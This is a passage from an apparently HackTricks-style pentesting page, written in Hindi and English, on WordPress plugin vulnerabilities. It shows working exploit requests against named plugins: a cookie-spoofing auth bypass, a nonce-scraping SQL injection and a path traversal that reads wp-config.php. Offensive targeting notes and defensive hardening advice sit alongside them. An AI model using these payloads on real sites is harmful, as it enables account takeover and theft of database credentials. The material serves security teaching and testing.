hook हैंडलर को गैर-प्रमाणीकृत उपयोगकर्ताओं द्वारा पहुँचने योग्य बनाता है (कोईis_user_logged_in()
गार्ड नहीं)। - पहचान क्लाइंट-परिवर्तनीय cookie (
original_user_id
) से निकाली जाती है। - सीधे
wp_set_auth_cookie($uid)
को कॉल करना अनुरोधकर्ता को बिना किसी capability/nonce जाँच के उस उपयोगकर्ता के रूप में लॉग इन कर देता है।
शोषण (गैर-प्रमाणीकृत)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF considerations for WordPress/plugin CVEs
Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए ट्यून किए जाते हैं। कई high‑impact WordPress/plugin flaws application-specific logic/auth बग होते हैं जो तब तक सामान्य ट्रैफ़िक जैसे दिखते हैं जब तक इंजन WordPress routes और plugin semantics को न समझे।
Offensive notes
- प्लगइन-विशिष्ट endpoints को clean payloads के साथ लक्षित करें:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - पहले unauth paths का परीक्षण करें (AJAX
nopriv
, REST with permissivepermission_callback
, public shortcodes)। Default payloads अक्सर बिना obfuscation के सफल होते हैं। - सामान्य high-impact मामले: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- plugin CVEs की सुरक्षा के लिए generic WAF signatures पर निर्भर न रहें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें।
- code में negative regex filters की बजाय positive-security checks (capabilities, nonces, strict input validation) को प्राथमिकता दें।
WordPress Protection
Regular Updates
सुनिश्चित करें कि WordPress, plugins, और themes अप टू डेट हैं। यह भी सुनिश्चित करें कि automated updating wp-config.php में सक्षम है:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Also, केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें।
सुरक्षा प्लगइन्स
अन्य सिफारिशें
- डिफ़ॉल्ट admin उपयोगकर्ता हटाएँ
- मजबूत पासवर्ड और 2FA का उपयोग करें
- नियमित रूप से उपयोगकर्ताओं की अनुमतियाँ की समीक्षा करें
- लॉगिन प्रयासों को सीमित करें ताकि Brute Force attacks को रोका जा सके
wp-admin.php
फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ विशिष्ट IP पतों से ही पहुँच की अनुमति दें।
Unauthenticated SQL Injection — अपर्याप्त वैलिडेशन के कारण (WP Job Portal <= 2.3.2)
The WP Job Portal recruitment plugin exposed a savecategory task that ultimately executes the following असुरक्षित कोड inside modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Issues introduced by this snippet:
- Unsanitised user input –
parentid
सीधे HTTP request से आता है. - String concatenation inside the WHERE clause –
is_numeric()
/esc_sql()
/ prepared statement का उपयोग नहीं किया गया है. - Unauthenticated reachability – हालांकि action
admin-post.php
के माध्यम से execute होता है, मौजूद केवल जांच CSRF nonce (wp_verify_nonce()
) है, जिसे कोई भी विज़िटर उस पब्लिक पेज से प्राप्त कर सकता है जो shortcode[wpjobportal_my_resumes]
embed करता है।
शोषण
- एक नया nonce प्राप्त करें:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
parentid
का दुरुपयोग करके arbitrary SQL inject करें:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Response इंजेक्ट किए गए query का परिणाम उजागर करता है या database को बदल देता है, जिससे SQLi साबित होता है।
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
एक और टास्क, downloadcustomfile, विज़िटर्स को path traversal के जरिए डिस्क पर मौजूद किसी भी फाइल डाउनलोड करने की अनुमति देता था। कमजोर sink modules/customfield/model.php::downloadCustomUploadedFile()
में स्थित है:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
हमलावर द्वारा नियंत्रित है और concatenated without sanitisation। फिर से, एकमात्र बाधा CSRF nonce है जिसे resume page से प्राप्त किया जा सकता है।
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
सर्वर wp-config.php
की सामग्री वापस करता है, leaking DB credentials and auth keys।
संदर्भ
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।